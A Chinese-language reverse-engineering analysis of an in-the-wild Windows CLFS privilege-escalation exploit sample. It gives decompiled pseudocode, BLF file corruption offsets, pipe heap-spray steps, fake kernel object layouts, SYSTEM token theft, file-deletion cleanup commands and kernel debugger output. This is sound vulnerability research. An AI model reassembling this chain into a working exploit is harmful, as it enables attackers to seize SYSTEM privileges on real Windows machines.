clfs中存在权限提升漏洞。
略
静态分析
样本加了Themida的壳,参考 https://github.com/VenTaz/Themidie对其进行绕过。
脱壳之后dump出原始样本进行分析,如下。核心逻辑在InitAndHeapSpray函数中:
int __cdecl main(int argc, const char **argv, const char **envp)
{
.....
v3 = InitAndHeapSpray();
if ( !sub_7FF662B24F98() )
goto LABEL_20;
if ( !v4 )
sub_7FF662B28D3C();
LOBYTE(v10) = 1;
sub_7FF662B24CA4(v10, 0i64);
return v3;
}
该函数首先清空工作目录,而后通过查询注册表获取系统版本,在通过NtQuerySystemInformation函数并传入SystemExtendedHandleInformation参数来获取System及自身token地址,其逻辑和CVE-2022-37969基本一样
sub_7FF662B265E4((int)NtCurrentTeb()->NtTib.FiberData + v0);
system("del /f C:\\\\Users\\\\Public\\\\.contain* 2> nul 1> nul");// 删除文件
system("del /f C:\\\\Users\\\\Public\\\\MyLog* 2> nul 1> nul");
system("del /f C:\\\\Users\\\\Public\\\\p_* 2> nul 1> nul");
*(_QWORD *)&dwProcessId = GetCurrentProcessId();
if ( !(unsigned int)CheckOSVersion() )
return 0i64;
if ( (unsigned int)GetObjectKernelAddress() )
{
sub_7FF662B21010((__int64)"fail RW\\n");
return 0i64;
}
而后初始化并获取一系列内核函数地址,包括ClfsEarlierLsn、ClfsMgmtDeregisterManagedClient、SeSetAccessStateGenericMapping、RtlClearBit,获取方式和CVE-2022-37969基本一样。通过LoadLibraryEx在r3载入ntoskrnl.exe、clfs.sys获取到函数相对于基址的偏移,而后通过NtQuerySystemInformation并传入SystemModuleInformation获取到内核载入的所有模块的基址。通过比较模块的FullPathName来确定clfs.sys和ntoskrnl.exe在内核的基址,将内核基址和函数偏移相加即可获得函数在内核的地址
ClfsEarlierLsnKernelAddress = (__int64)GetKernelFuncAddr("ClfsEarlierLsn");
if ( !ClfsEarlierLsnKernelAddress )
return 0i64;
ClfsMgmtDeregisterManagedClientAddress = (__int64)GetKernelFuncAddr("ClfsMgmtDeregisterManagedClient");
if ( versionFlag )
{
ntoskrnl_KernelBase = FindKernelModulesBase("\\\\SystemRoot\\\\system32\\\\ntoskrnl.exe");
Library = LoadLibraryExW(L"ntoskrnl.exe", 0i64, 1u);
v4 = 0i64;
v5 = (__int64)Library;
if ( Library )
{
PoFxProcessorNotificationAddress = GetProcAddress(Library, "PoFxProcessorNotification");
if ( !PoFxProcessorNotificationAddress )
goto LABEL_18;
sub_7FF662E7AF0D(v5);
PoFxProcessorNotificationKernelAddress = (__int64)PoFxProcessorNotificationAddress
+ (_QWORD)ntoskrnl_KernelBase
- v5;
}
else
{
PoFxProcessorNotificationKernelAddress = 0i64;
}
PoFxProcessorNotificationKernelAddress1 = PoFxProcessorNotificationKernelAddress;
ntoskrnl_kernel_base = FindKernelModulesBase("\\\\SystemRoot\\\\system32\\\\ntoskrnl.exe");
ntoskrnl_base = LoadLibraryExW(L"ntoskrnl.exe", 0i64, 1u);
v10 = (__int64)ntoskrnl_base;
if ( !ntoskrnl_base )
{
SeSetAccessStateGenericMappingAddressKernelAddr = 0i64;
goto LABEL_21;
}
SeSetAccessStateGenericMappingAddress = GetProcAddress(ntoskrnl_base, "SeSetAccessStateGenericMapping");
if ( SeSetAccessStateGenericMappingAddress )
{
sub_7FF662E7AF0D(v10);
SeSetAccessStateGenericMappingAddressKernelAddr = (__int64)SeSetAccessStateGenericMappingAddress
+ (_QWORD)ntoskrnl_kernel_base
- v10;
样本在0x5000000位置处申请大小0x100000的内存,很明显这块和CVE-2022-37969的申请内存一样,而后将ntdll.dll载入到进程中并获取NtQuerySystemInformation函数地址,通过CreateFile打开C:\Users\Public\p_%08d格式文件的句柄并验证句柄有效性,接着获取到NtFsControlFile函数地址
if ( !VirtualAlloc((LPVOID)0x5000000, 0x100000ui64, 0x3000u, 4u) )
return 0i64;
v24 = rand();
memset(v96, 0, sizeof(v96));
wsprintf((__int64)v96, (__int64)L"C:\\\\Users\\\\Public\\\\p_%08d", v24);
Filew = CreateFilew((__int64)v96, 0xC0000000i64, 0i64, 0i64, 2, 256, 0i64);
if ( Filew == -1 )
{
sub_7FF662E75E1F();
return 1i64;
}
ntdll_hmodule = (HMODULE)LoadLibrary((__int64)L"ntdll");
NtQuerySystemInformationAddress = (NTSTATUS (__stdcall *)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(ntdll_hmodule, "NtQuerySystemInformation");
if ( NtQuerySystemInformationAddress )
{
for ( i = 20; ; i = v82 )
......
}
if ( !v31 )
{
......
while ( 1 )
{
object = (__int64)*(p_UniqueProcessId - 1);
if ( v33 == *p_UniqueProcessId && p_UniqueProcessId[1] == (HANDLE)Filew )// 这里获取的是前面通过CreateFile返回的句柄object
break;
v27 = (unsigned int)(v27 + 1);
p_UniqueProcessId += 5;
if ( (int)v27 >= v30->NumberOfHandles )
goto LABEL_46;
}
qword_7FF662B44710 = (__int64)*(p_UniqueProcessId - 1);// Object
if ( object )
goto LABEL_51;
}
else
{
LABEL_46:
qword_7FF662B44710 = 0i64;
}
return 1i64;
}
}
qword_7FF662B44710 = 1i64;
LABEL_51:
*(_OWORD *)hReadPipe = 0i64;
Size = 0i64;
LODWORD(v82) = 0;
if ( versionFlag )
{
LODWORD(v36) = LoadModule("ntdll", (LPVOID)v27);
NtFsControlFileAddress = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _QWORD, _DWORD, _QWORD, _DWORD))GetProcAddress(v36, "NtFsControlFile");
样本创建匿名管道并调用NtFsControlFile函数,通过传入0x11003C,使得之后我们可以再次调用NtFsControlFile并传入0x110038来获取到管道的属性,这点利用和CVE-2022-37969一样。在创建匿名管道后通过NtQuerySystemInformation函数获取到内核中的堆信息,并通过比较堆大小和tag获取到这个管道在内核中对应的堆内存。
if ( !CreatePipe(&hReadPipe[1], hReadPipe, 0i64, 0x10000u) )
{
sub_7FF662E77D93(0i64);
__debugbreak();
}
Size = (size_t)malloc(0x2000ui64);
v37 = (_WORD *)Size;
memset((void *)(Size + 2), 65, 0xFFEui64);
*v37 = 90;
sub_7FF662B21B80(4096, "NpAt", 1, 0i64);
memset(v95, 66, 0xFFui64);
NtFsControlFileAddress(hReadPipe[0], 0i64, 0i64, 0i64, v92, 0x11003C, v37, 4056, v95, 256);
sub_7FF662B21B80(4096, "NpAt", 0, (unsigned __int64 *)&qword_7FF662B440C8);
之后在0xFFFFFFFF地址处申请0x1000大小的内存,并将system token布局到该地址,这点和CVE-2022-37969一致。在CVE-2022-37969中该处用于写入token。
LODWORD(v82) = system_EPROCESS & 0xFFF;
v38 = system_EPROCESS & 0xFFFFFFFFFFFFF000ui64;
if ( !VirtualAlloc( // 在0xFFFFFFFF地址申请内存
(LPVOID)0xFFFFFFFFi64,
0x1000ui64,
0x3000u,
4u) )
return 0i64;
memset((void *)0x100000007i64, 0, 0xFF8ui64);
MEMORY[0xFFFFFFFF] = v38; // 在0xFFFFFFFF写入system proc token
MEMORY[0x100000007] = 0x414141414141005Ai64;
在之后就是漏洞利用的核心逻辑。创建一个日志文件Mylog并对以下的偏移进行了修改并对CRC进行了修复,这里将其称之为主blf文件。
修改日志文件之后打开日志文件并通过NtQuerySystemInformation查询到这个日志文件的base block的内核地址,而后调用AddLogContainer为该文件添加容器。
0x80c -> crc32 4字节
0x858 -> 0x369 4字节
0x1dd0 -> 0x15a0 4字节
0x1dd4 -> 0x1570 4字节
0x1de0 -> 0xC1FDF008 4字节
0x1de4 -> 0x30 4字节
0x1df8 -> 0x5000000 4字节
0x820c -> crc32 4字节
0x8258 -> 0x369 4字节
0x97D0 -> 0x15A0 4字节
0x97D4 -> 0x1570 4字节
0x97E0 -> 0xC1FDF008 4字节
0x97E4 -> 0x30 4字节
0x97F8 -> 0x5000000 4字节
__int64 CraftFile()
{
......
wsprintf((__int64)pszLogFileName, (__int64)L"LOG:C:\\\\Users\\\\Public\\\\MyLog_%08d", (unsigned int)(v0 + 16385));
wsprintf((__int64)&unk_7FF662B44110, (__int64)L"C:\\\\Users\\\\Public\\\\MyLog_%08d.blf", (unsigned int)(v0 + 16385));
::pszLogFileName = (LPCWSTR)malloc(0x500ui64);
wsprintf((__int64)&pwszContainerPath, (__int64)L"C:\\\\Users\\\\Public\\\\.container_1%d", (unsigned int)(v0 + 1));
sub_7FF662E7B416((__int64)&unk_7FF662B44110);
sub_7FF662E7B416((__int64)&pwszContainerPath);
LogFile = CreateLogFile(pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
CloseHandle(LogFile);
Buffer = 0x369;
Filew = (void *)CreateFilew((__int64)&unk_7FF662B44110, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
SetFilePointer(Filew, 0x858, 0i64, 1u);
......
Buffer = 0x5000000;
v7 = (void *)CreateFilew((__int64)&unk_7FF662B44110, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
SetFilePointer(v7, 0x1DF8, 0i64, 1u);
if ( !WriteFile(v7, &Buffer, 4u, NumberOfBytesWritten, 0i64) )
{
sub_7FF662E775CF(0i64, 0i64, L"Error\\n", 0i64);
sub_7FF662E77D93(1i64);
__debugbreak();
}
CloseHandle(v7);
CrcPatchFile((__int64)&unk_7FF662B44110, 0x800i64, 0x7A00i64);
......
}
CloseHandle(v13);
CrcPatchFile((__int64)&unk_7FF662B44110, 0x8200i64, 0x7A00i64);
dword_7FF662B449B8 = 0;
*(_QWORD *)NumberOfBytesWritten = 0i64;
sub_7FF662B21B80(0x7A00, "Clfs", 1, 0i64); // 查询堆内信息
v14 = CreateLogFile(pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);// LOG:C:\\\\Users\\\\Public\\\\MyLog_%08d
sub_7FF662B21B80(0x7A00, "Clfs", 0, (unsigned __int64 *)NumberOfBytesWritten);// NumberOfBytesWritten 指向了最后一个clfs池,也就是最后一个clfs 基本块的地址
if ( !*(_QWORD *)NumberOfBytesWritten )
{
system("pause");
sub_7FF662E77D93(1i64);
__debugbreak();
}
MyLog__08d_base_block = *(_QWORD *)NumberOfBytesWritten;
hLog = v14;
wsprintf((__int64)::pszLogFileName, (__int64)L"%s", pszLogFileName);
pcbContainer[0] = 512i64;
return ((__int64 (__fastcall *)(HANDLE, ULONGLONG *, WCHAR *, _QWORD))AddLogContainer)(
hLog,
pcbContainer,
&pwszContainerPath,
0i64);
}
之后通过CreateLogFile创建10个日志文件,并修改以下偏移,这里将其称之为副blf文件。
读取0-0x400到缓冲区并将以下偏移的值修改
0x70 -> 0 4字节
0x06 -> 2 4字节
而后将这个缓冲区写入到偏移0x400处
0x06 -> 0x1 4字节
0x0c -> crc32 4字节
0x70 -> 0x2 4字节
0x84 -> 0x2 4字节
0x88 -> 0x4 4字节
0x8A -> 0x4 4字节
0x90 -> 0x1 4字节
0x94 -> 0x3 4字节
0x9C -> 0x2 4字节
0x406 -> 2 4字节
0x40c -> crc32
0x470 -> 0 4字节
0x484 -> 0x2 4字节
0x488 -> 0x13 4字节
0x48A -> 0x13 4字节
0x1B98 -> 0x65C8
0x80c -> crc32
0x820c -> crc32
0x9598 -> 0x65C8
void __fastcall fun_tigger(const WCHAR *a1, __int64 a2)
{
......
DWORD NumberOfBytesWritten; // [rsp+44h] [rbp-14h] BYREF
sub_7FF662E7B416(a2);
LogFile = CreateLogFile(a1, 0xC0000000, 1u, 0i64, 4u, 0);// LOG:C:\\\\Users\\\\Public\\\\MyLog%d%08d
if ( LogFile == (HANDLE)-1i64 )
{
sub_7FF662E77D93(1i64);
__debugbreak();
}
CloseHandle(LogFile);
v5 = malloc(0x400ui64);
......
CrcPatchFile(a2, 0x800, 0x7A00u);
v19 = (void *)CreateFilew(a2, 0xC0000000i64, 7i64, 0i64, 3, 128, 0i64);
SetFilePointer(v19, 0x9598, 0i64, 1u);
if ( !WriteFile(v19, &Buffer, 4u, &NumberOfBytesWritten, 0i64) )
{
sub_7FF662E775CF(0i64, 0i64, L"Error\\n", 0i64);
sub_7FF662E77D93(1i64);
__debugbreak();
}
CloseHandle(v19);
CrcPatchFile(a2, 0x8200, 0x7A00u);
free(v5);
}
使用匿名管道进行堆布局,通过调用func_pipespray并两次分别传入0x5000和0x4000来申请0x5000对和0x4000对匿名pipe,
HANDLE *__fastcall func_pipespray(int a1)
{
bool v2; // of
size_t v3; // rcx
HANDLE *v4; // rbx
__int64 v5; // rdi
int v6; // esi
v2 = (unsigned __int64)(unsigned int)a1 >> 28 != 0;
v3 = (unsigned int)(16 * a1);
if ( v2 )
v3 = -1i64;
v4 = (HANDLE *)malloc(v3);
if ( !v4 )
{
sub_7FF662E77D93(1i64);
__debugbreak();
}
LODWORD(v5) = 0;
if ( a1 > 0 )
{
v6 = 0;
do
{
if ( !(unsigned int)CreatePipe((__int64)&v4[v6], (__int64)&v4[v6 + 1], 0i64, 0x60i64) )
{
v5 = (int)v5;
if ( (int)v5 > 0 )
{
do
{
CloseHandle(*v4);
CloseHandle(v4[1]);
v4 += 2;
--v5;
}
while ( v5 );
}
sub_7FF662E77D93(1i64);
JUMPOUT(0x7FF662B227AEi64);
}
LODWORD(v5) = v5 + 1;
v6 += 2;
}
while ( (int)v5 < a1 );
}
return v4;
}
首先遍历0x5000对pipe的pipe_array_a,并通过WriteFile写入长度为12的指针数组,其内容为第一个日志文件的base block。
Buffer[0] = MyLog__08d_base_block + 0x30;
Buffer[1] = MyLog__08d_base_block + 0x30;
Buffer[2] = MyLog__08d_base_block + 0x30;
Buffer[3] = MyLog__08d_base_block + 0x30;
Buffer[4] = MyLog__08d_base_block + 0x30;
Buffer[5] = MyLog__08d_base_block + 0x30;
Buffer[6] = MyLog__08d_base_block + 0x30;
Buffer[7] = MyLog__08d_base_block + 0x30;
Buffer[8] = MyLog__08d_base_block + 0x30;
Buffer[9] = MyLog__08d_base_block + 0x30;
Buffer[10] = MyLog__08d_base_block + 0x30;
Buffer[11] = MyLog__08d_base_block + 0x30;
for ( j = 0i64; j < 0x5000; ++j )
{
if ( !WriteFile(*v46, Buffer, 0x60u, &NumberOfBytesWritten, 0i64) )
{
do
{
CloseHandle(*pipe_array_a);
CloseHandle(pipe_array_a[1]);
pipe_array_a += 2;
--v42;
}
while ( v42 );
sub_7FF662E77D93(1i64);
JUMPOUT(0x7FF662B243B7i64);
}
v46 += 2;
}
而后从第0x1000对开始,释放0x667对pipe,释放结束后创建日志文件对释放后的内存进行占位
for ( j = 0i64; j < 0x5000; ++j )
{
if ( !WriteFile(*v46, Buffer, 0x60u, &NumberOfBytesWritten, 0i64) )
{
do
{
CloseHandle(*pipe_array_a);
CloseHandle(pipe_array_a[1]);
pipe_array_a += 2;
--v42;
}
while ( v42 );
sub_7FF662E77D93(1i64);
JUMPOUT(0x7FF662B243B7i64);
}
v46 += 2;
}
v48 = pipe_array_a + 0x2000;
v49 = 0x667i64;
do
{
CloseHandle(*v48); // 释放Pipe
CloseHandle(v48[1]);
v48 += 10;
--v49;
}
while ( v49 );
v50 = 0xAi64;
v51 = hObject;
v52 = 0xAi64;
v53 = pszLogFileName;
do
{
LogFile = CreateLogFile(v53, 0xC0000000, 1u, 0i64, 4u, 0);
v53 += 256;
*v51++ = LogFile;
--v52;
}
while ( v52 );
占位结束后,对第二次申请的0x4000对pipe_array_b调用WriteFile写入指针数组,而后对0x5000030处内存进行布局,循环尝试触发漏洞,首先为创建的10个副blf文件添加log container,在每次添加容器之后,通过CreateLogFile打开主blf文件的句柄(第一个创建的日志文件。)而后尝试通过NtFsControlFileAddress函数读取token,在读取之后判断token有效性,有效则退出循环。
do
{
if ( !WriteFile(*v56, Buffer, 0x60u, &v87, 0i64) )
{
do
{
CloseHandle(*pipe_array_b);
CloseHandle(pipe_array_b[1]);
pipe_array_b += 2;
--v43;
}
while ( v43 );
sub_7FF662E77D93(1i64);
__debugbreak();
}
++v55;
v56 += 2;
}
while ( v55 < 0x4000 );
pcbContainer = 512i64;
if ( versionFlag )
{
v57 = Size;
v58 = hObject;
v59 = 0;
while ( 1 )
{
AddLogContainer(*v58, &pcbContainer, (LPWSTR)&v97[256 * (__int64)v59], 0i64);
MEMORY[0x5000030] = qword_7FF662B44710;
MEMORY[0x5000000] = 0x5001000i64;
MEMORY[0x5001000] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001010] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001018] = ClfsEarlierLsnKernelAddress;
......
MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001008] = PoFxProcessorNotificationKernelAddress1;
MEMORY[0x5000040] = 83886080i64;
MEMORY[0x5000068] = ClfsMgmtDeregisterManagedClientAddress;
MEMORY[0x5000048] = 83887104i64;
MEMORY[0x5000400] = 83890944i64;
MEMORY[0x5000448] = ntap_address+ 24;
MEMORY[0x5001328] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001308] = SeSetAccessStateGenericMappingAddressKernelAddr;
CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
v80 = 90;
NtFsControlFileAddress(hReadPipe[0], 0i64, 0i64, 0i64, v91, 0x110038, &v80, 2, v57, 0x2000);
v60 = (unsigned int)system_token_object + (__int64)token_offset;
v61 = *(_QWORD *)(v60 + v57 + 8);
if ( *(_QWORD *)(v60 + v57) >= 0x8181818181818181ui64 )
break;
......
if ( v59 >= 0xA )
goto LABEL_76;
}
MEMORY[0xFFFFFFFF] = *(_QWORD *)(v60 + v57);
MEMORY[0x100000007] = v61;
MEMORY[0x5000448] = current_token - 8;
CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
MEMORY[0xFFFFFFFF] = 0x1470i64;
MEMORY[0x100000007] = 0i64;
MEMORY[0x5000448] = MyLog__08d_base_block + 912;
CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
从这段代码可以明显看到CVE-2022-37969利用的影子,包括布局0x5000000内存,疑似伪造CClfsContainer对象,利用ClfsEarlierLsn、SeSetAccessStateGenericMappingAddress进行任意地址读写,不同的是本次样本中增加了ClfsMgmtDeregisterManagedClient和PoFxProcessorNotification函数。同时和CVE-2022-37969一样的是两次触发了漏洞,分别读取system token和将system token写入到自身token,达成提权。
同时还注意到,样本集成了利用RtlClearBit进行提权的技术,由一个全局flag控制决定使用哪种方式,其while循环内逻辑和前一种利用方式一样。
else
{
v63 = 0;
v64 = hObject;
while ( 1 )
{
AddLogContainer(*v64, &pcbContainer, (LPWSTR)&v97[256 * (__int64)v63], 0i64);
MEMORY[0x5000000] = 0x5001000i64;
MEMORY[0x5000030] = qword_7FF662B44710;
MEMORY[0x5001008] = ClfsEarlierLsnKernelAddress;
......
MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001000] = ClfsMgmtDeregisterManagedClientAddress;
MEMORY[0x5001028] = RtlClearBitKernelAddress;
MEMORY[0x5000008] = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
v65 = system_TOKEN;
system_token_object = 0i64;
v66 = *(void (__fastcall **)(__int64, size_t *, __int64, __int64, char *))(addr_array + 16);
v67 = sub_7FF662E78B70();
v66(v67, &system_token_object, v65, 8i64, v88);
if ( system_token_object >= 0x8181818181818181ui64 )
break;
......
if ( v63 >= 0xA )
goto LABEL_88;
}
v68 = current_token;
Size = system_token_object;
v69 = *(void (__fastcall **)(__int64, __int64, size_t *, __int64, char *))(addr_array + 16);// NtWriteVirtualMemory
v70 = sub_7FF662E78B70();
v69(v70, v68, &Size, 8i64, v89);
v71 = MyLog__08d_base_block;
v83 = 5232;
v72 = *(void (__fastcall **)(__int64, __int64, int *, __int64, char *))(addr_array + 16);
v73 = sub_7FF662E78B70();
v72(v73, v71 + 920, &v83, 4i64, v90);
LOBYTE(v80) = 1;
v74 = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
v75 = *(void (__fastcall **)(__int64, __int64, __int16 *, __int64, char *))(addr_array + 16);
v76 = sub_7FF662E78B70();
v75(v76, v74, &v80, 1i64, v91);
LABEL_88:
.....
v77 = v98;
总结样本利用步骤
动态调试
使用x64dbg调试样本,并使用windbg附加内核调试。在x64dbg中可以看到,样本获取到了system token和自身token地址。

在windbg中可以看到已经成功获取到了自身token地址和system token地址
1: kd> !process 16e0 1
Searching for Process with Cid == 16e0
PROCESS ffffcf8bfa9dd180
SessionId: 1 Cid: 16e0 Peb: 2b65a98000 ParentCid: 1cf4
FreezeCount 1
DirBase: a9197000 ObjectTable: ffffa80486c39280 HandleCount: 171.
Image: 06248628e1ede80fcc3c36b25.exe
VadRoot ffffcf8bfaac8ab0 Vads 86 Clone 0 Private 2360. Modified 5134. Locked 0.
DeviceMap ffffa80480c82af0
Token ffffa80486595060
ElapsedTime 00:14:19.644
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 195352
QuotaPoolUsage[NonPagedPool] 12024
Working Set Sizes (now,min,max) (5527, 50, 345) (22108KB, 200KB, 1380KB)
PeakWorkingSetSize 5447
VirtualSize 4247 Mb
PeakVirtualSize 4247 Mb
PageFaultCount 12131
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 3956
DebugPort ffffcf8bf58da970
Job ffffcf8bf5fd5060
1: kd> dq FFFFCF8BFA9DD638
ffffcf8b`fa9dd638 ffffa804`86595064 00000000`00000000
1: kd> !process 4 1
Searching for Process with Cid == 4
PROCESS ffffcf8bf1695040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffa8047c03ddc0 HandleCount: 2771.
Image: System
VadRoot ffffcf8bf1dd2da0 Vads 6 Clone 0 Private 22. Modified 335861. Locked 0.
DeviceMap ffffa8047c0351e0
Token ffffa8047c04f6e0
ElapsedTime 2 Days 23:05:23.432
UserTime 00:00:00.000
KernelTime 00:07:35.203
QuotaPoolUsage[PagedPool] 0
QuotaPoolUsage[NonPagedPool] 272
Working Set Sizes (now,min,max) (24, 50, 450) (96KB, 200KB, 1800KB)
PeakWorkingSetSize 218
VirtualSize 3 Mb
PeakVirtualSize 14 Mb
PageFaultCount 3280
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 49
1: kd> dq ffffcf8bf16954f8
ffffcf8b`f16954f8 ffffa804`7c04f6e3 00000000`00000000
ffffcf8b`f1695508 00000000`00000000 00000000`00000000
ffffcf8b`f1695518 00000000`00000000 00000000`00000000
ffffcf8b`f1695528 00000000`00000000 00000000`00000000
ffffcf8b`f1695538 00000000`00000016 00000000`00000000
ffffcf8b`f1695548 00000000`00000000 00000000`00000000
ffffcf8b`f1695558 00000000`00000000 00000000`00000000
ffffcf8b`f1695568 00000000`5333eb49 00000000`00000000
而后获取到了各个内核函数地址

1: kd> u FFFFF80634782B20
CLFS!ClfsEarlierLsn:
fffff806`34782b20 488b0511280000 mov rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff806`34785338)]
fffff806`34782b27 4885c9 test rcx,rcx
fffff806`34782b2a 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)
fffff806`34782b2c 488b09 mov rcx,qword ptr [rcx]
fffff806`34782b2f 483b0d8a230000 cmp rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff806`34784ec0)]
fffff806`34782b36 742a je CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)
fffff806`34782b38 483bc8 cmp rcx,rax
fffff806`34782b3b 7425 je CLFS!ClfsEarlierLsn+0x42 (fffff806`34782b62)
在获取到主blf日志文件的base block后通过writefile写入匿名pipe

1: kd> db FFFFA80488303000
ffffa804`88303000 15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
ffffa804`88303010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffa804`88303020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
ffffa804`88303030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa804`88303040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa804`88303050 00 00 00 00 00 00 00 00-69 03 00 00 00 00 00 00 ........i.......
ffffa804`88303060 00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00 .........y......
ffffa804`88303070 05 00 00 00 00 00 00 00-80 11 28 07 7e 19 ee 11 ..........(.~...
由于不知道样本修改的文件中哪个部分起到了关键性作用,此时由果追溯原因,样本在伪造的CClfsContainer对象中布局了ClfsEarlierLsn函数地址,在CVE-2022-37969中已经知道该函数是触发漏洞的关键性函数,在ClfsEarlierLsn函数断点,继续运行,调试器断下,此时调用栈如下
0: kd> k
# Child-SP RetAddr Call Site
00 ffffa00a`59414fb8 fffff800`53141ba6 CLFS!ClfsEarlierLsn
01 ffffa00a`59414fc0 fffff800`531337e8 CLFS!ClfsMgmtDeregisterManagedClient+0x46
02 ffffa00a`59414ff0 fffff800`5310307f CLFS!CClfsBaseFilePersisted::CheckSecureAccess+0x174
03 ffffa00a`594150b0 fffff800`53101bf9 CLFS!CClfsLogFcbPhysical::CheckSecureAccess+0x1f
04 ffffa00a`59415100 fffff800`531310c3 CLFS!CClfsLogFcbPhysical::Initialize+0x15d
05 ffffa00a`59415240 fffff800`53132b1b CLFS!CClfsRequest::Create+0x4ef
06 ffffa00a`59415390 fffff800`531328e7 CLFS!CClfsRequest::Dispatch+0x97
07 ffffa00a`594153e0 fffff800`53132837 CLFS!ClfsDispatchIoRequest+0x87
08 ffffa00a`59415430 fffff800`55c954d5 CLFS!CClfsDriver::LogIoDispatch+0x27
09 ffffa00a`59415460 fffff800`55c96ad4 nt!IofCallDriver+0x55
0a ffffa00a`594154a0 fffff800`560a775d nt!IoCallDriverWithTracing+0x34
0b ffffa00a`594154f0 fffff800`5608f68e nt!IopParseDevice+0x117d
0c ffffa00a`59415660 fffff800`560ba3da nt!ObpLookupObjectName+0x3fe
0d ffffa00a`59415830 fffff800`560c999f nt!ObOpenObjectByNameEx+0x1fa
0e ffffa00a`59415960 fffff800`560c9579 nt!IopCreateFile+0x40f
0f ffffa00a`59415a00 fffff800`55e0d8f5 nt!NtCreateFile+0x79
10 ffffa00a`59415a90 00007ffd`9160db64 nt!KiSystemServiceCopyEnd+0x25
11 00000077`5eafb898 00007ffd`8c382199 ntdll!NtCreateFile+0x14
12 00000077`5eafb8a0 00007ff7`ecad416a clfsw32!CreateLogFile+0x679
13 00000077`5eafba40 00007ff7`ecad461c 0624fbfa7618628e1ede80fcc3c36b25+0x416a
14 00000077`5eaffca0 00007ffd`900c7614 0624fbfa7618628e1ede80fcc3c36b25+0x461c
15 00000077`5eaffce0 00007ffd`915c26a1 KERNEL32!BaseThreadInitThunk+0x14
16 00000077`5eaffd10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
样本中对应的伪代码如下,在调用CreateLogFile时触发了漏洞,调用ClfsEarlierLsn函数。
MEMORY[0x50011E0] = ClfsEarlierLsnKernelAddress;
MEMORY[0x50011E8] = ClfsEarlierLsnKernelAddress;
MEMORY[0x50011F0] = ClfsEarlierLsnKernelAddress;
MEMORY[0x50011F8] = ClfsEarlierLsnKernelAddress;
MEMORY[0x5001000] = ClfsMgmtDeregisterManagedClientAddress;
MEMORY[0x5001028] = RtlClearBitKernelAddress;
MEMORY[0x5000008] = *(_QWORD *)(addr_array + 48) + *(unsigned int *)(addr_array + 56);
CreateLogFile(::pszLogFileName, 0xC0010000, 3u, 0i64, 4u, 0);
v65 = system_TOKEN;
system_token_object = 0i64;
v66 = *(void (__fastcall **)(__int64, size_t *, __int64, __int64, char *))(addr_array + 16);
v67 = sub_7FF662E78B70();
v66(v67, &system_token_object, v65, 8i64, v88);
if ( system_token_object >= 0x8181818181818181ui64 )
根据调用栈,再除去布局的函数之外,最后调用的是CLFS!CClfsBaseFilePersisted::CheckSecureAccess+0x174
fffff800`531337d4 488bf9 mov rdi, rcx
fffff800`531337d7 48894c2450 mov qword ptr [rsp+50h], rcx
fffff800`531337dc 488b01 mov rax, qword ptr [rcx]
fffff800`531337df 488b00 mov rax, qword ptr [rax]
**fffff800`531337e2 ff15001effff call qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800531255e8)]**
fffff800`531337e8 4c8d4c2448 lea r9, [rsp+48h]

同时调试器中可以看到rcx指向的对象位于0x5000000,同时对象内的函数指针指向了ClfsEarlierLsn,和调试过程中的一致。
0: kd> rrcx
rcx=0000000005000000
0: kd> dq rcx
00000000`05000000 00000000`05001000 ffffa289`14aec2b2
00000000`05000010 00000000`00000000 00000000`00000000
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 ffffa289`17764520 00000000`00000000
00000000`05000040 00000000`00000000 00000000`00000000
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 00000000`00000000
00000000`05000070 00000000`00000000 00000000`00000000
0: kd> dq 00000000`05001000
00000000`05001000 fffff800`53141b60 fffff800`53112b20
00000000`05001010 fffff800`53112b20 fffff800`53112b20
00000000`05001020 fffff800`53112b20 fffff800`55c2c640
00000000`05001030 fffff800`53112b20 fffff800`53112b20
00000000`05001040 fffff800`53112b20 fffff800`53112b20
00000000`05001050 fffff800`53112b20 fffff800`53112b20
00000000`05001060 fffff800`53112b20 fffff800`53112b20
00000000`05001070 fffff800`53112b20 fffff800`53112b20
0: kd> u fffff800`53112b20
CLFS!ClfsEarlierLsn:
fffff800`53112b20 488b0511280000 mov rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`53115338)]
fffff800`53112b27 4885c9 test rcx,rcx
fffff800`53112b2a 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
